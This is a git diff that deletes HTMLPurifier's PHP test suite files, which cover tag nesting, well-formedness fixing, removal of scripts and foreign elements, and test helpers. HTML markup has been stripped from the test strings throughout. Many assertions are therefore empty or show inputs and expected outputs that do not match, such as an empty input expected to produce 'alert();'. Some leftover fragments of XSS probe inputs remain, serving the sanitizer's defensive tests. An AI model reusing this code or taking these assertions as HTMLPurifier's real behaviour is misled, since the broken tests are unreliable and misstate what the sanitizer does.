                            ', ''); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php deleted file mode 100644 index e97fd4e43b..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/FixNesting_ErrorsTest.php +++ /dev/null @@ -1,47 +0,0 @@ -expectErrorCollection(E_ERROR, 'Strategy_FixNesting: Node removed'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('ul', array(), 1)); - $this->invoke('
                              '); - } - - public function testNodeExcluded() - { - $this->expectErrorCollection(E_ERROR, 'Strategy_FixNesting: Node excluded'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('a', array(), 2)); - $this->invoke("\n"); - } - - public function testNodeReorganized() - { - $this->expectErrorCollection(E_WARNING, 'Strategy_FixNesting: Node reorganized'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('span', array(), 1)); - $this->invoke("Valid
                              Invalid
                              "); - } - - public function testNoNodeReorganizedForEmptyNode() - { - $this->expectNoErrorCollection(); - $this->invoke(""); - } - - public function testNodeContentsRemoved() - { - $this->expectErrorCollection(E_ERROR, 'Strategy_FixNesting: Node contents removed'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('span', array(), 1)); - $this->invoke("
                              "); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjector.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjector.php deleted file mode 100644 index 6a1509687e..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjector.php +++ /dev/null @@ -1,19 +0,0 @@ -name == 'div') return; - $token = array( - new HTMLPurifier_Token_Start('b'), - new HTMLPurifier_Token_Text('Comment'), - new HTMLPurifier_Token_End('b'), - $token - ); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjectorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjectorTest.php deleted file mode 100644 index 4c03706874..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndInsertInjectorTest.php +++ /dev/null @@ -1,47 +0,0 @@ -obj = new HTMLPurifier_Strategy_MakeWellFormed(); - $this->config->set('AutoFormat.Custom', array( - new HTMLPurifier_Strategy_MakeWellFormed_EndInsertInjector() - )); - } - public function testEmpty() - { - $this->assertResult(''); - } - public function testNormal() - { - $this->assertResult('Foo', 'FooComment'); - } - public function testEndOfDocumentProcessing() - { - $this->assertResult('Foo', 'FooComment'); - } - public function testDoubleEndOfDocumentProcessing() - { - $this->assertResult('Foo', 'FooCommentComment'); - } - public function testEndOfNodeProcessing() - { - $this->assertResult('
                              Foo
                              asdf', '
                              FooComment
                              asdfComment'); - } - public function testEmptyToStartEndProcessing() - { - $this->assertResult('', 'Comment'); - } - public function testSpuriousEndTag() - { - $this->assertResult('', ''); - } - public function testLessButStillSpuriousEndTag() - { - $this->assertResult('
                              ', '
                              '); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjector.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjector.php deleted file mode 100644 index fd00c3fec1..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjector.php +++ /dev/null @@ -1,32 +0,0 @@ -_InjectorTest_EndRewindInjector_delete)) { - $token = false; - } - } - public function handleText(&$token) - { - $token = false; - } - public function handleEnd(&$token) - { - $i = null; - if ( - $this->backward($i, $prev) && - $prev instanceof HTMLPurifier_Token_Start && - $prev->name == 'span' - ) { - $token = false; - $prev->_InjectorTest_EndRewindInjector_delete = true; - $this->rewindOffset(1); - } - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjectorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjectorTest.php deleted file mode 100644 index 42393a0b2a..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/EndRewindInjectorTest.php +++ /dev/null @@ -1,39 +0,0 @@ -obj = new HTMLPurifier_Strategy_MakeWellFormed(); - $this->config->set('AutoFormat.Custom', array( - new HTMLPurifier_Strategy_MakeWellFormed_EndRewindInjector() - )); - } - public function testBasic() - { - $this->assertResult(''); - } - public function testFunction() - { - $this->assertResult('asdf',''); - } - public function testFailedFunction() - { - $this->assertResult('asdasdfasdf',''); - } - public function testPadded() - { - $this->assertResult('asdf',''); - } - public function testDoubled() - { - $this->config->set('AutoFormat.Custom', array( - new HTMLPurifier_Strategy_MakeWellFormed_EndRewindInjector(), - new HTMLPurifier_Strategy_MakeWellFormed_EndRewindInjector(), - )); - $this->assertResult('asdf', ''); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjector.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjector.php deleted file mode 100644 index 47df4bcb6a..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed/SkipInjector.php +++ /dev/null @@ -1,13 +0,0 @@ -obj = new HTMLPurifier_Strategy_MakeWellFormed(); - $this->config->set('AutoFormat.Custom', array( - new HTMLPurifier_Strategy_MakeWellFormed_SkipInjector() - )); - } - public function testEmpty() - { - $this->assertResult(''); - } - public function testMultiply() - { - $this->assertResult('
                              ', '

                              '); - } - public function testMultiplyMultiply() - { - $this->config->set('AutoFormat.Custom', array( - new HTMLPurifier_Strategy_MakeWellFormed_SkipInjector(), - new HTMLPurifier_Strategy_MakeWellFormed_SkipInjector() - )); - $this->assertResult('
                              ', '



                              '); - } -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php deleted file mode 100644 index b00d15ace7..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormedTest.php +++ /dev/null @@ -1,170 +0,0 @@ -obj = new HTMLPurifier_Strategy_MakeWellFormed(); - } - - public function testEmptyInput() - { - $this->assertResult(''); - } - - public function testWellFormedInput() - { - $this->assertResult('This is bold text.'); - } - - public function testUnclosedTagTerminatedByDocumentEnd() - { - $this->assertResult( - 'Unclosed tag, gasp!', - 'Unclosed tag, gasp!' - ); - } - - public function testUnclosedTagTerminatedByParentNodeEnd() - { - $this->assertResult( - 'Bold and italic?', - 'Bold and italic?' - ); - } - - public function testRemoveStrayClosingTag() - { - $this->assertResult( - 'Unused end tags... recycle!', - 'Unused end tags... recycle!' - ); - } - - public function testConvertStartToEmpty() - { - $this->assertResult( - '
                              ', - '
                              ' - ); - } - - public function testConvertEmptyToStart() - { - $this->assertResult( - '
                              ', - '
                              ' - ); - } - - public function testAutoCloseParagraph() - { - $this->assertResult( - '

                              Paragraph 1

                              Paragraph 2', - '

                              Paragraph 1

                              Paragraph 2

                              ' - ); - } - - public function testAutoCloseParagraphInsideDiv() - { - $this->assertResult( - '

                              Paragraphs

                              In

                              A

                              Div

                              ', - '

                              Paragraphs

                              In

                              A

                              Div

                              ' - ); - } - - public function testAutoCloseListItem() - { - $this->assertResult( - '
                              1. Item 1
                              2. Item 2
                              ', - '
                              1. Item 1
                              2. Item 2
                              ' - ); - } - - public function testAutoCloseColgroup() - { - $this->assertResult( - '
                              ', - '
                              ' - ); - } - - public function testAutoCloseMultiple() - { - $this->assertResult( - '
                              asdf', - '
                              asdf' - ); - } - - public function testUnrecognized() - { - $this->assertResult( - 'foo', - 'foo' - ); - } - - public function testBlockquoteWithInline() - { - $this->config->set('HTML.Doctype', 'XHTML 1.0 Strict'); - $this->assertResult( - // This is actually invalid, but will be fixed by - // ChildDef_StrictBlockquote - '
                              foobar
                              ' - ); - } - - public function testLongCarryOver() - { - $this->assertResult( - 'asdf
                              asdfdf
                              asdf
                              ', - 'asdf
                              asdfdf
                              asdf' - ); - } - - public function testInterleaved() - { - $this->assertResult( - 'foobarbaz', - 'foobarbaz' - ); - } - - public function testNestedOl() - { - $this->assertResult( - '
                                1. foo
                              ', - '
                                1. foo
                              ' - ); - } - - public function testNestedUl() - { - $this->assertResult( - '
                                • foo
                              ', - '
                                • foo
                              ' - ); - } - - public function testNestedOlWithStrangeEnding() - { - $this->assertResult( - '
                                  1. foo
                                1. foo
                                ', - '
                                    1. foo
                                1. foo
                                ' - ); - } - - public function testNoAutocloseIfNoParentsCanAccomodateTag() - { - $this->assertResult( - '
                              1. foo
                              2. ', - '
                                foo
                                ' - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php deleted file mode 100644 index 98ad4e7261..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_ErrorsTest.php +++ /dev/null @@ -1,71 +0,0 @@ -expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag removed'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1, 0)); - $this->invoke('
                                '); - } - - public function testUnnecessaryEndTagToText() - { - $this->config->set('Core.EscapeInvalidTags', true); - $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag to text'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1, 0)); - $this->invoke('
                                '); - } - - public function testTagAutoclose() - { - $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag auto closed', new HTMLPurifier_Token_Start('p', array(), 1, 0)); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('div', array(), 1, 6)); - $this->invoke('

                                Foo

                                Bar
                                '); - } - - public function testTagCarryOver() - { - $b = new HTMLPurifier_Token_Start('b', array(), 1, 0); - $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag carryover', $b); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('div', array(), 1, 6)); - $this->invoke('Foo
                                Bar
                                '); - } - - public function testStrayEndTagRemoved() - { - $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag removed'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1, 3)); - $this->invoke('
                                '); - } - - public function testStrayEndTagToText() - { - $this->config->set('Core.EscapeInvalidTags', true); - $this->expectErrorCollection(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag to text'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('b', array(), 1, 3)); - $this->invoke(''); - } - - public function testTagClosedByElementEnd() - { - $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by element end', new HTMLPurifier_Token_Start('b', array(), 1, 3)); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_End('i', array(), 1, 12)); - $this->invoke('Foobar'); - } - - public function testTagClosedByDocumentEnd() - { - $this->expectErrorCollection(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by document end', new HTMLPurifier_Token_Start('b', array(), 1, 0)); - $this->invoke('Foobar'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php deleted file mode 100644 index b37e200645..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/MakeWellFormed_InjectorTest.php +++ /dev/null @@ -1,163 +0,0 @@ -obj = new HTMLPurifier_Strategy_MakeWellFormed(); - $this->config->set('AutoFormat.AutoParagraph', true); - $this->config->set('AutoFormat.Linkify', true); - $this->config->set('AutoFormat.RemoveEmpty', true); - generate_mock_once('HTMLPurifier_Injector'); - } - - public function testEndHandler() - { - $mock = new HTMLPurifier_InjectorMock(); - $b = new HTMLPurifier_Token_End('b'); - $b->skip = array(0 => true); - $b->start = new HTMLPurifier_Token_Start('b'); - $b->start->skip = array(0 => true, 1 => true); - $mock->expectAt(0, 'handleEnd', array($b)); - $i = new HTMLPurifier_Token_End('i'); - $i->start = new HTMLPurifier_Token_Start('i'); - $i->skip = array(0 => true); - $i->start->skip = array(0 => true, 1 => true); - $mock->expectAt(1, 'handleEnd', array($i)); - $mock->expectCallCount('handleEnd', 2); - $mock->returns('getRewindOffset', false); - $this->config->set('AutoFormat.AutoParagraph', false); - $this->config->set('AutoFormat.Linkify', false); - $this->config->set('AutoFormat.Custom', array($mock)); - $this->assertResult('asdf', 'asdf'); - } - - public function testErrorRequiredElementNotAllowed() - { - $this->config->set('HTML.Allowed', ''); - $this->expectError('Cannot enable AutoParagraph injector because p is not allowed'); - $this->expectError('Cannot enable Linkify injector because a is not allowed'); - $this->assertResult('Foobar'); - } - - public function testErrorRequiredAttributeNotAllowed() - { - $this->config->set('HTML.Allowed', 'a,p'); - $this->expectError('Cannot enable Linkify injector because a.href is not allowed'); - $this->assertResult('

                                http://example.com

                                '); - } - - public function testOnlyAutoParagraph() - { - $this->assertResult( - 'Foobar', - '

                                Foobar

                                ' - ); - } - - public function testParagraphWrappingOnlyLink() - { - $this->assertResult( - 'http://example.com', - '

                                http://example.com

                                ' - ); - } - - public function testParagraphWrappingNodeContainingLink() - { - $this->assertResult( - 'http://example.com', - '

                                http://example.com

                                ' - ); - } - - public function testParagraphWrappingPoorlyFormedNodeContainingLink() - { - $this->assertResult( - 'http://example.com', - '

                                http://example.com

                                ' - ); - } - - public function testTwoParagraphsContainingOnlyOneLink() - { - $this->assertResult( - "http://example.com\n\nhttp://dev.example.com", -'

                                http://example.com

                                - -

                                http://dev.example.com

                                ' - ); - } - - public function testParagraphNextToDivWithLinks() - { - $this->assertResult( - 'http://example.com
                                http://example.com
                                ', -'

                                http://example.com

                                - -' - ); - } - - public function testRealisticLinkInSentence() - { - $this->assertResult( - 'This URL http://example.com is what you need', - '

                                This URL http://example.com is what you need

                                ' - ); - } - - public function testParagraphAfterLinkifiedURL() - { - $this->assertResult( -"http://google.com - -b", -"

                                http://google.com

                                - -

                                b

                                " - ); - } - - public function testEmptyAndParagraph() - { - // This is a fairly degenerate case, but it demonstrates that - // the two don't error out together, at least. - // Change this behavior! - $this->assertResult( -"

                                asdf - -asdf

                                - -

                                ", -"

                                asdf

                                - -

                                asdf

                                - -" - ); - } - - public function testRewindAndParagraph() - { - $this->assertResult( -"bar - -

                                - -

                                - -foo", -"

                                bar

                                - - - -

                                foo

                                " - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php deleted file mode 100644 index e72aa5c795..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElementsTest.php +++ /dev/null @@ -1,133 +0,0 @@ -obj = new HTMLPurifier_Strategy_RemoveForeignElements(); - } - - public function testBlankInput() - { - $this->assertResult(''); - } - - public function testPreserveRecognizedElements() - { - $this->assertResult('This is bold text.'); - } - - public function testRemoveForeignElements() - { - $this->assertResult( - 'BlingBong', - 'BlingBong' - ); - } - - public function testRemoveScriptAndContents() - { - $this->assertResult( - '', - '' - ); - } - - public function testRemoveStyleAndContents() - { - $this->assertResult( - '', - '' - ); - } - - public function testRemoveOnlyScriptTagsLegacy() - { - $this->config->set('Core.RemoveScriptContents', false); - $this->assertResult( - '', - 'alert();' - ); - } - - public function testRemoveOnlyScriptTags() - { - $this->config->set('Core.HiddenElements', array()); - $this->assertResult( - '', - 'alert();' - ); - } - - public function testRemoveInvalidImg() - { - $this->assertResult('', ''); - } - - public function testPreserveValidImg() - { - $this->assertResult('foobar.gif'); - } - - public function testPreserveInvalidImgWhenRemovalIsDisabled() - { - $this->config->set('Core.RemoveInvalidImg', false); - $this->assertResult(''); - } - - public function testTextifyCommentedScriptContents() - { - $this->config->set('HTML.Trusted', true); - $this->config->set('Output.CommentScriptContents', false); // simplify output - $this->assertResult( -'', -'' - ); - } - - public function testRequiredAttributesTestNotPerformedOnEndTag() - { - $def = $this->config->getHTMLDefinition(true); - $def->addElement('f', 'Block', 'Optional: #PCDATA', false, array('req*' => 'Text')); - $this->assertResult('Foo Bar'); - } - - public function testPreserveCommentsWithHTMLTrusted() - { - $this->config->set('HTML.Trusted', true); - $this->assertResult(''); - } - - public function testRemoveTrailingHyphensInComment() - { - $this->config->set('HTML.Trusted', true); - $this->assertResult('', ''); - } - - public function testCollapseDoubleHyphensInComment() - { - $this->config->set('HTML.Trusted', true); - $this->assertResult('', ''); - } - - public function testPreserveCommentsWithLookup() - { - $this->config->set('HTML.AllowedComments', array('allowed')); - $this->assertResult('', ''); - } - - public function testPreserveCommentsWithRegexp() - { - $this->config->set('HTML.AllowedCommentsRegexp', '/^allowed[1-9]$/'); - $this->assertResult('', ''); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php deleted file mode 100644 index 5d36d807ba..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/Strategy/RemoveForeignElements_ErrorsTest.php +++ /dev/null @@ -1,81 +0,0 @@ -config->set('HTML.TidyLevel', 'heavy'); - } - - protected function getStrategy() - { - return new HTMLPurifier_Strategy_RemoveForeignElements(); - } - - public function testTagTransform() - { - $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Tag transform', 'center'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('div', array('style' => 'text-align:center;'), 1)); - $this->invoke('
                                '); - } - - public function testMissingRequiredAttr() - { - // a little fragile, since img has two required attributes - $this->expectErrorCollection(E_ERROR, 'Strategy_RemoveForeignElements: Missing required attribute', 'alt'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Empty('img', array(), 1)); - $this->invoke(''); - } - - public function testForeignElementToText() - { - $this->config->set('Core.EscapeInvalidTags', true); - $this->expectErrorCollection(E_WARNING, 'Strategy_RemoveForeignElements: Foreign element to text'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('invalid', array(), 1)); - $this->invoke(''); - } - - public function testForeignElementRemoved() - { - // uses $CurrentToken.Serialized - $this->expectErrorCollection(E_ERROR, 'Strategy_RemoveForeignElements: Foreign element removed'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Start('invalid', array(), 1)); - $this->invoke(''); - } - - public function testCommentRemoved() - { - $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Comment removed'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Comment(' test ', 1)); - $this->invoke(''); - } - - public function testTrailingHyphenInCommentRemoved() - { - $this->config->set('HTML.Trusted', true); - $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Trailing hyphen in comment removed'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Comment(' test ', 1)); - $this->invoke(''); - } - - public function testDoubleHyphenInCommentRemoved() - { - $this->config->set('HTML.Trusted', true); - $this->expectErrorCollection(E_NOTICE, 'Strategy_RemoveForeignElements: Hyphens in comment collapsed'); - $this->expectContext('CurrentToken', new HTMLPurifier_Token_Comment(' test - test - test ', 1)); - $this->invoke(''); - } - - public function testForeignMetaElementRemoved() - { - $this->collector->expectAt(0, 'send', array(E_ERROR, 'Strategy_RemoveForeignElements: Foreign meta element removed')); - $this->collector->expectContextAt(0, 'CurrentToken', new HTMLPurifier_Token_Start('script', array(), 1)); - $this->collector->expectAt(1, 'send', array(E_ERROR, 'Strategy_RemoveForeignElements: Token removed to end', 'script')); - $this->invoke('') - ), - array('Good', 'Sketchy', 'foo' => '') - ); - - $this->assertIsA($this->purifier->context, 'array'); - - } - - public function test_purifyArray_nested() - { - $this->assertIdentical( - $this->purifier->purifyArray( - array('Good', 'Sketchy', 'foo' => array('bar' => '')) - ), - array('Good', 'Sketchy', 'foo' => array('bar' => '')) - ); - } - - public function test_purifyArray_empty() { - $purifiedEmptyArray = $this->purifier->purifyArray(array()); - $this->assertTrue( - empty($purifiedEmptyArray) - ); - } - - public function testGetInstance() - { - $purifier = HTMLPurifier::getInstance(); - $purifier2 = HTMLPurifier::getInstance(); - $this->assertReference($purifier, $purifier2); - } - - public function testMakeAbsolute() - { - $this->config->set('URI.Base', 'http://example.com/bar/baz.php'); - $this->config->set('URI.MakeAbsolute', true); - $this->assertPurification( - 'Foobar', - 'Foobar' - ); - } - - public function testDisableResources() - { - $this->config->set('URI.DisableResources', true); - $this->assertPurification('', ''); - } - - public function test_addFilter_deprecated() - { - $this->expectError('HTMLPurifier->addFilter() is deprecated, use configuration directives in the Filter namespace or Filter.Custom'); - generate_mock_once('HTMLPurifier_Filter'); - $this->purifier->addFilter($mock = new HTMLPurifier_FilterMock()); - $mock->expectOnce('preFilter'); - $mock->expectOnce('postFilter'); - $this->purifier->purify('foo'); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/PHPT/Controller/SimpleTest.php b/vendor/ezyang/htmlpurifier/tests/PHPT/Controller/SimpleTest.php deleted file mode 100644 index ac4512f564..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/PHPT/Controller/SimpleTest.php +++ /dev/null @@ -1,26 +0,0 @@ -_path = $path; - parent::__construct($path); - } - - public function testPhpt() - { - $suite = new PHPT_Suite(array($this->_path)); - $phpt_reporter = new PHPT_Reporter_SimpleTest($this->reporter); - $suite->run($phpt_reporter); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/PHPT/Reporter/SimpleTest.php b/vendor/ezyang/htmlpurifier/tests/PHPT/Reporter/SimpleTest.php deleted file mode 100644 index 34b47cd492..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/PHPT/Reporter/SimpleTest.php +++ /dev/null @@ -1,86 +0,0 @@ -reporter = $reporter; - } - - // TODO: Figure out what the proper calls should be, since we've given - // each Suite its own UnitTestCase controller - - /** - * Called when the Reporter is started from a PHPT_Suite - * @todo Figure out if Suites can be named - */ - public function onSuiteStart(PHPT_Suite $suite) - { - //$this->reporter->paintGroupStart('PHPT Suite', $suite->count()); - } - - /** - * Called when the Reporter is finished in a PHPT_Suite - */ - public function onSuiteEnd(PHPT_Suite $suite) - { - //$this->reporter->paintGroupEnd('PHPT Suite'); - } - - /** - * Called when a Case is started - */ - public function onCaseStart(PHPT_Case $case) - { - //$this->reporter->paintCaseStart($case->name); - } - - /** - * Called when a Case ends - */ - public function onCaseEnd(PHPT_Case $case) - { - //$this->reporter->paintCaseEnd($case->name); - } - - /** - * Called when a Case runs without Exception - */ - public function onCasePass(PHPT_Case $case) - { - $this->reporter->paintPass("{$case->name} in {$case->filename}"); - } - - /** - * Called when a PHPT_Case_VetoException is thrown during a Case's run() - */ - public function onCaseSkip(PHPT_Case $case, PHPT_Case_VetoException $veto) - { - $this->reporter->paintSkip($veto->getMessage() . ' [' . $case->filename .']'); - } - - /** - * Called when any Exception other than a PHPT_Case_VetoException is encountered - * during a Case's run() - */ - public function onCaseFail(PHPT_Case $case, PHPT_Case_FailureException $failure) - { - $this->reporter->paintFail($failure->getReason()); - } - - public function onParserError(Exception $exception) - { - $this->reporter->paintException($exception); - } - -} - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/tests/PHPT/Section/PRESKIPIF.php b/vendor/ezyang/htmlpurifier/tests/PHPT/Section/PRESKIPIF.php deleted file mode 100644 index 5d25ea4edf..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/PHPT/Section/PRESKIPIF.php +++ /dev/null @@ -1,36 +0,0 @@ -_data = $data; - $this->_runner_factory = new PHPT_CodeRunner_Factory(); - } - - public function run(PHPT_Case $case) - { - // @todo refactor this code into PHPT_Util class as its used in multiple places - $filename = dirname($case->filename) . '/' . basename($case->filename, '.php') . '.skip.php'; - - // @todo refactor to PHPT_CodeRunner - file_put_contents($filename, $this->_data); - $runner = $this->_runner_factory->factory($case); - $runner->ini = ""; - $response = $runner->run($filename)->output; - unlink($filename); - - if (preg_match('/^skip( - (.*))?/', $response, $matches)) { - $message = !empty($matches[2]) ? $matches[2] : ''; - throw new PHPT_Case_VetoException($message); - } - } - - public function getPriority() - { - return -2; - } -} diff --git a/vendor/ezyang/htmlpurifier/tests/common.php b/vendor/ezyang/htmlpurifier/tests/common.php deleted file mode 100644 index 0eade24f7c..0000000000 --- a/vendor/ezyang/htmlpurifier/tests/common.php +++ /dev/null @@ -1,265 +0,0 @@ - default value. Depending on the type of the default value, - * arguments will be typecast accordingly. For example, if - * 'flag' => false is passed, all arguments for that will be cast to - * boolean. Do *not* pass null, as it will not be recognized. - * @param $aliases - * - */ -function htmlpurifier_parse_args(&$AC, $aliases) -{ - if (empty($_GET) && !empty($_SERVER['argv'])) { - array_shift($_SERVER['argv']); - $o = false; - $bool = false; - $val_is_bool = false; - foreach ($_SERVER['argv'] as $opt) { - if ($o !== false) { - $v = $opt; - } else { - if ($opt === '') continue; - if (strlen($opt) > 2 && strncmp($opt, '--', 2) === 0) { - $o = substr($opt, 2); - } elseif ($opt[0] == '-') { - $o = substr($opt, 1); - } else { - $lopt = strtolower($opt); - if ($bool !== false && ($opt === '0' || $lopt === 'off' || $lopt === 'no')) { - $o = $bool; - $v = false; - $val_is_bool = true; - } elseif (isset($aliases[''])) { - $o = $aliases['']; - } - } - $bool = false; - if (!isset($AC[$o]) || !is_bool($AC[$o])) { - if (strpos($o, '=') === false) { - continue; - } - list($o, $v) = explode('=', $o); - } elseif (!$val_is_bool) { - $v = true; - $bool = $o; - } - $val_is_bool = false; - } - if ($o === false) continue; - htmlpurifier_args($AC, $aliases, $o, $v); - $o = false; - } - } else { - foreach ($_GET as $o => $v) { - if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) { - $v = stripslashes($v); - } - htmlpurifier_args($AC, $aliases, $o, $v); - } - } -} - -/** - * Actually performs assignment to $AC, see htmlpurifier_parse_args() - * @param $AC Arguments array to write to - * @param $aliases Aliases for options - * @param $o Argument name - * @param $v Argument value - */ -function htmlpurifier_args(&$AC, $aliases, $o, $v) -{ - if (isset($aliases[$o])) $o = $aliases[$o]; - if (!isset($AC[$o])) return; - if (is_string($AC[$o])) $AC[$o] = $v; - if (is_bool($AC[$o])) $AC[$o] = ($v === '') ? true :(bool) $v; - if (is_int($AC[$o])) $AC[$o] = (int) $v; -} - -/** - * Adds a test-class; we use file extension to determine which class to use. - */ -function htmlpurifier_add_test($test, $test_file, $only_phpt = false) -{ - switch (strrchr($test_file, ".")) { - case '.phpt': - return $test->add(new PHPT_Controller_SimpleTest($test_file)); - case '.php': - require_once $test_file; - return $test->add(path2class($test_file)); - case '.vtest': - return $test->add(new HTMLPurifier_ConfigSchema_ValidatorTestCase($test_file)); - case '.htmlt': - return $test->add(new HTMLPurifier_HTMLT($test_file)); - default: - trigger_error("$test_file is an invalid file for testing", E_USER_ERROR); - } -} - -/** - * Debugging function that prints tokens in a user-friendly manner. - */ -function printTokens($tokens, $index = null) -{ - $string = '
                                ';
                                -    $generator = new HTMLPurifier_Generator(HTMLPurifier_Config::createDefault(), new HTMLPurifier_Context);
                                -    foreach ($tokens as $i => $token) {
                                -        $string .= printToken($generator, $token, $i, $index == $i);
                                -    }
                                -    $string .= '
                                '; - echo $string; -} - -function printToken($generator, $token, $i, $isCursor) -{ - $string = ""; - if ($isCursor) $string .= '['; - $string .= "$i"; - $string .= $generator->escape($generator->generateFromToken($token)); - if ($isCursor) $string .= ']'; - return $string; -} - -function printZipper($zipper, $token) -{ - $string = '
                                ';
                                -    $generator = new HTMLPurifier_Generator(HTMLPurifier_Config::createDefault(), new HTMLPurifier_Context);
                                -    foreach ($zipper->front as $i => $t) {
                                -        $string .= printToken($generator, $t, $i, false);
                                -    }
                                -    if ($token !== NULL) {
                                -        $string .= printToken($generator, $token, "", true);
                                -    }
                                -    for ($i = count($zipper->back)-1; $i >= 0; $i--) {
                                -        $string .= printToken($generator, $zipper->back[$i], $i, false);
                                -    }
                                -    $string .= '
